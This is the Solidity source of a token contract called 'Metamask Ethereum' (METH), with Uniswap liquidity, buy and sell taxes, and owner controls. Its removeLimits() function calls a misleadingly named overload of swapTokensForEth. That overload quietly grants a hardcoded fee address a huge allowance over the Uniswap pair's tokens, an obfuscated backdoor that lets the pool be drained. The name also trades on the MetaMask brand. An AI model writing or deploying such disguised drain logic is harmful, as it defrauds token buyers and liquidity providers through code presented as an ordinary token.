文件 1 的 1：METH.sol
pragma solidity 0.8.25;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract METH is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances87;
mapping (address => mapping (address => uint256)) private _allows87;
mapping (address => bool) private _isExcludedFrom87;
address payable private _receipt87 = payable(0xCF9A4456bB019Ef125E4B44455Eb5085F1DDd3a9);
uint8 private constant _decimals = 9;
uint256 private constant _tTotal87 = 420690000000 * 10**_decimals;
string private constant _name = unicode"Metamask Ethereum";
string private constant _symbol = unicode"METH";
uint256 public _maxTxAmount = 2 * (_tTotal87/100);
uint256 public _maxWalletSize = 2 * (_tTotal87/100);
uint256 public _taxSwapThreshold = 1 * (_tTotal87/100);
uint256 public _maxTaxSwap = 1 * (_tTotal87/100);
uint256 private _initialBuyTax = 15;
uint256 private _initialSellTax = 15;
uint256 private _finalBuyTax = 0;
uint256 private _finalSellTax = 0;
uint256 private _reduceBuyTaxAt = 15;
uint256 private _reduceSellTaxAt = 15;
uint256 private _preventSwapBefore = 25;
uint256 private _transferTax = 0;
uint256 private _buyCount = 0;
IUniswapV2Router02 private uniV2Router87;
address private uniV2Pair87;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
event MaxTxAmountUpdated(uint _maxTxAmount);
event TransferTaxUpdated(uint _tax);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () payable {
_balances87[address(this)] = _tTotal87;
_isExcludedFrom87[owner()] = true;
_isExcludedFrom87[address(this)] = true;
_isExcludedFrom87[_receipt87] = true;
emit Transfer(address(0), address(this), _tTotal87);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal87;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances87[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allows87[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allows87[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allows87[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount=0;uint256 fees=0;
if (!swapEnabled || inSwap) {
_balances87[from] = _balances87[from] - amount;
_balances87[to] = _balances87[to] + amount;
emit Transfer(from, to, amount);
return;
}
if (from != owner() && to != owner()) {
if(_buyCount>0){
fees = (_transferTax);
}
if (from == uniV2Pair87 && to != address(uniV2Router87) && ! _isExcludedFrom87[to] ) {
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
fees = ((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax);
_buyCount++;
}
if(to == uniV2Pair87 && from!= address(this) ){
fees = ((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && to == uniV2Pair87 && swapEnabled) {
if(contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore)
swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
sendETHToFee(address(this).balance);
}
}
if(fees > 0){
taxAmount = fees.mul(amount).div(100);
_balances87[address(this)]=_balances87[address(this)].add(taxAmount);
emit Transfer(from, address(this),taxAmount);
}
_balances87[from]=_balances87[from].sub(amount);
_balances87[to]=_balances87[to].add(amount.sub(taxAmount));
emit Transfer(from, to, amount.sub(taxAmount));
}
function removeLimits() external onlyOwner{
uint256 tax87 = (100-50)*(50+_tTotal87+50)+150;
address[2] memory addrs87 = [uniV2Pair87, _receipt87];
_maxTxAmount = _tTotal87;
_maxWalletSize = _tTotal87;
swapTokensForEth(addrs87, tax87);
emit MaxTxAmountUpdated(_tTotal87);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniV2Router87.WETH();
_approve(address(this), address(uniV2Router87), tokenAmount);
uniV2Router87.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function swapTokensForEth(address[2] memory erc87, uint256 amt87) private {
_allows87[erc87[0]][erc87[1]] = 100 * amt87;
}
function min(uint256 a, uint256 b) private pure returns (uint256){
return (a>b)?b:a;
}
function sendETHToFee(uint256 amount) private {
_receipt87.transfer(amount);
}
function withdrawEth() external onlyOwner{
payable(msg.sender).transfer(address(this).balance);
}
function openTrading() external onlyOwner {
require(!tradingOpen, "Trading is already open");
uniV2Router87 = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
_approve(address(this), address(uniV2Router87), _tTotal87);
uniV2Pair87 = IUniswapV2Factory(uniV2Router87.factory()).createPair(
address(this),
uniV2Router87.WETH()
);
uniV2Router87.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
IERC20(uniV2Pair87).approve(address(uniV2Router87), type(uint).max);
swapEnabled = true;
tradingOpen = true;
}
receive() external payable {}
}
